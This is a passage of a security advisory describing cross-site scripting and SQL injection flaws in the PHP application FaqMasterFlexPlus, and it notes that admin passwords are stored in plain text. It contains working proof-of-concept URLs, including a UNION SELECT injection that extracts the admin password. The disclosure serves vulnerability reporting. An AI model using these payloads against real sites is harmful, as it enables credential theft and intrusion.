II. Description
Multiple flaws in FaqMasterFlexPlus have been discovered:
1) Cross Site Scripting:
The script faq.php suffers an XSS bug, specifically the variable $cat_name it’s not properly sanitized,
an attacker exploiting this flaw can perform an XSS attack to access the targeted user cookies.
All Admin scripts to add/edit/delete categories and add/edit/delete faq don’t parse correctly the user supplied input too.
PoC: http://www.example.com/[path/to/faq/]/faq.php?category_id=1&cat_name=[XSS]
2) SQL Injection (to exploit this issue it’s necesarry magic_quotes_gpc set to Off in the php.ini file).
All the scripts suffers for sql injections attacks in the querys to the database.
PoC: http://www.example.com/[path/to/faq]/faq.php?category_id=1’%20union%20select%201,1,user(),1/*
Then get a new line like this:
Q faquser@localhost
or a Proof of Concept to get the admin password:
http://www.example.com/[path/to/faq]/faq.php?category_id=1’%20union%20select%201,1,
passwrd,1%20from%20users%20where%20userid=’admin
Q supersecretpassword
bingo! ;)
Besides password is stored in plain text, this is a big security flaw.
This software is infected with many bugs and must be fully audited for enforce the security.
